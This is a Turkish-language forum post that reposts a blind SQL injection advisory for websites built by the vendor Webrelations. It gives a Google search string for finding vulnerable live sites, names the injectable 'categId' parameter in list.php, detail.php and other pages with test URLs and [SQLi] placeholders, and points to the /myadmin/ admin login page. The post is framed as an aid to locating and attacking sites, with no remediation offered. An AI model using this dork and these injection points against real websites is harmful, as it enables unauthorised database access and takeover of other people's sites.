Webrelations Blind SQL Injection Açığı

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Muhalif Yorumcu
    SeRDaR
    SeRDaR's avatar
    Kayıt Tarihi: 09/Kasım/2003
    Erkek
     [-] Title : Webrelations Blind SQL Injection Vulnerability
     [-] Author: Kalashinkov3 
     [-] Vendor: webrelations.gr
     [-] Google Araması : intext:"site by webrelations" categId=

    [-] Blind SQL-i :) # http://[localhost]/***/list.php?categId='1
    # http://[localhost]/***/list.php?categId=[SQLi]

    # http://[localhost]/***/detail.php?categId='1
    # http://[localhost]/***/detail.php?categId=[SQLi]

    # http://[localhost]/***/*.php?categId='1
    # http://[localhost]/***/*.php?categId=[SQLi]

    [-] Admin giriş sayfası # http://[siteadı]/myadmin/

    Önemsediğin Kadar Önemsenirsin. Önemsendiğin Kadar Önemsensersin.
Toplam Hit: 1228 Toplam Mesaj: 1